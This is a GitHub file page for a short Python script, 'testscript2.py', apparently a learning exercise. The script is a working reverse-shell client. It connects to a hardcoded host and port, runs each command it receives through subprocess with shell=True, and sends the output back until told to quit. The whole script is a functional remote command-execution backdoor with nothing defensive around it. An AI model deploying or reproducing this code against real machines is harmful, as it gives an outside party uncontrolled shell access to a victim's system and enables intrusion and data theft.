-
Notifications
You must be signed in to change notification settings - Fork 0
/
testscript2.py
39 lines (29 loc) · 881 Bytes
/
testscript2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
import subprocess
HOST = '0.0.0.0'
PORT = 5555
# set up the socket and connect to the server
s = socket.socket()
s.connect((HOST, PORT))
# get the welcome message
msg = s.recv(1024).decode()
print('[*] server:', msg)
# this loop will run until it receive 'quit'
while True:
# receive the command and print it
cmd = s.recv(1024).decode()
print(f'[*] receive {cmd}')
# check if you want to quit
if cmd.lower() == 'quit':
break
# now run the command and get the result.
try:
result = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
except Exception as e:
result = str(e).encode()
# if the command has no output, send 'ok' so the server knows everything is okay
if len(result) == 0:
result = 'OK'.encode()
# send teh result to the server
s.send(result)
s.close()